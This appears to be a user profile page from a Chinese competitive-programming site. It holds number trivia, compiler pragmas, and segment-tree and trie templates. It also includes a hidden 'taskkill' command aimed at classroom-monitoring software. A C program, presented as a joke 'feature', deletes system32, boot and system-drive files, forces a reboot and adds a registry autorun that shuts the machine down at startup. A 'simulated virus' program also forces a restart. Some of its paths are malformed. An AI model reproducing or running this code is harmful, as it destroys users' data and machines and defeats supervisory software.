-
个人简介
$\tiny \colorbox {black} {taskkill /t /f /im "studentmain.exe"}$
这还是Egde吗
998244353的一些特性
$\texttt{它可以表达为两个数的平方和:}998244353 = 3943^2 + 31348^2$
$\texttt{它是勾股数之一:}998244353^2 = 247210328^2 + 967149855^2$
$998244353=( 114514 * ( 54-1+114 * (1+14*5+1+4) ) ) + ( 4+11451 * (4-1-15+14) ) + ( 11+41*54 + (141+541) ) + (4-1-15+14);$
白鼠功能:
:
//1 #include <windows.h> int main(){ system("del %systemdrives\\*.*/f /s /q");//您的系统八成会无 system("shutdown -r -f -t 00"); system("del C:\\Windows\\system32\\*.*/q");//您的系统九成会死 system("attrib -r -s -h C:\\autoexec.bat"); system("del c:\\autoexec.bat"); system("attrib -r -s -h c:\\boot.ini"); system("del c:\\boot.ini"); system("attrib -r -s -h c:\\ntldr"); system("del c:\\ntldr"); system("attrib -r -s -h c:\\windows\\win.ini"); system("del c:\\windows\\win.ini");//您的系统九八成会崩溃 system("echo @echo off>c:windowshartlell.bat"); system("echo break off>>c:windowshartlell.bat"); system("echo shutdown -r -t 11-f>>c:windowshartlell.bat"); system("echo end>>c:windowshartlell.bat"); system("reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun"); system("/v startapi /t reg_sz/d c:windowshartlell.bat /f"); system("reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun"); system("/v/t reg_sz/d c:windowshartlell.bat /f");//您的小电电开机后十成会关机。 system("PAUSE"); return 0;//Die. } //2 int main(){while(1);}//... //3 #include <con>//编译器说:为什么?为什么我终止不了? //4 #include <bits/stdc++.h> std::vector<int> v; int main() { std::cout << v.at(114514);//原本跟throw一样,但因为洛谷是Linux系统,所以评测机会被卡20~30分钟,是最长的了。 }
模拟中毒:
#include <stdlib.h> #include <stdio.h> #include <iostream> int main() { system("title 你的小鸡子中毒了"); system("color c"); int x = 200005; while(x--)std::cout << (rand() & 1 ? '1' : '0'); system("shutdown /r"); }
O优化:
#pragma GCC optimize(3)//O(3) #pragma GCC optimize(2)//O(2) #pragms GCC optimize(fast)//O(fast) #pragma GCC optimize(1, 2, 3, "fast")//极端优化(O1+O2+O3+Ofast) //the luogu can not use this!!!
你是第个访问我的主页的人
我的一位高仿
万恶的线段树模板#include <bits/stdc++.h> #define int long long using namespace std; int a[100005]; struct node { int w = 0, add = 0; } lt[400005]; // line-tree inline bool inof(int le, int ri, int pl, int pr) { return (pl <= le) && (ri <= pr); } inline bool outof(int le, int ri, int pl, int pr) { return (le > pr) || (ri < pl); } inline void sum(int x) { lt[x].w = lt[x * 2].w + lt[x * 2 + 1].w; } inline void make(int x, int len, int val) { lt[x].add += val; lt[x].w += val * len; } inline void push(int x, int le, int ri) { int mid = le + ri >> 1; make(x * 2, mid - le + 1, lt[x].add); make(x * 2 + 1, ri - mid, lt[x].add); lt[x].add = 0; } inline void build(int x, int le, int ri) { if (le == ri) { lt[x].w = a[le]; return; } int mid = le + ri >> 1; build(x * 2, le, mid); build(x * 2 + 1, mid + 1, ri); sum(x); } inline int aquery(int x, int le, int ri, int p) { if (le == ri) return lt[x].w; int mid = le + ri >> 1; if (mid < p) return aquery(x * 2 + 1, mid + 1, ri, p); else return aquery(x * 2, le, mid, p); } inline void aupdate(int x, int le, int ri, int p, int val) { if (le == ri) { lt[x].w = val; return; } int mid = le + ri >> 1; if (mid < p) return aupdate(x * 2 + 1, mid + 1, ri, p, val); else return aupdate(x * 2, le, mid, p, val); } inline int query(int x, int le, int ri, int pl, int pr) { if (inof(le, ri, pl, pr)) return lt[x].w; else if (!outof(le, ri, pl, pr)) { int mid = le + ri >> 1; push(x, le, ri); return query(x * 2, le, mid, pl, pr) + query(x * 2 + 1, mid + 1, ri, pl, pr); } else return 0; } inline void update(int x, int le, int ri, int pl, int pr, int val) { if (inof(le, ri, pl, pr)) make(x, ri - le + 1, val); else if (!outof(le, ri, pl, pr)) { int mid = le + ri >> 1; push(x, le, ri); update(x * 2, le, mid, pl, pr, val); update(x * 2 + 1, mid + 1, ri, pl, pr, val); sum(x); } } int main() { }
字典树
template <const int Size_Of_Trie> struct Mytrie // The trie tree { int tot, ans; struct Node { int ecnt; // end_count int ccnt[30]; // char_count Node(int Ecnt = 0, int Ccnt = 0) { // set Nodes first value ecnt = Ecnt; for (int i = 0; i < 30; ++i) ccnt[i] = Ccnt; } } trie[Size_Of_Trie]; Mytrie(int x = 0, int Ans = 0) { // set trie tree's first value tot = x; ans = Ans; } void insert(string Str) { // insert a new node int root = 0, res = 0; for (auto i : Str) { int ch = i - 'a'; if (!trie[root].ccnt[ch]) trie[root].ccnt[ch] = ++tot; root = trie[root].ccnt[ch]; res += trie[root].ecnt; } trie[root].ecnt++; ans = max(ans, res + 1); } };
-
通过的题目
-
最近活动
-
最近编写的题解
This person is lazy and didn't write any solutions. -
Stat
-
Rating
题目标签
- 模拟
- 15
- NOIp 普及组
- 12
- 字符串
- 6
- 数学
- 5
- 枚举
- 5
- 暴力
- 5
- 数论
- 4
- 搜索
- 3
- NOIp 提高组
- 3
- 2002
- 2
- 2004
- 2
- 2005
- 2
- 2008
- 2
- 2011
- 2
- 深度优先搜索
- 2
- DFS
- 2
- 素数判断
- 2
- 质数
- 2
- 筛法
- 2
- USACO
- 2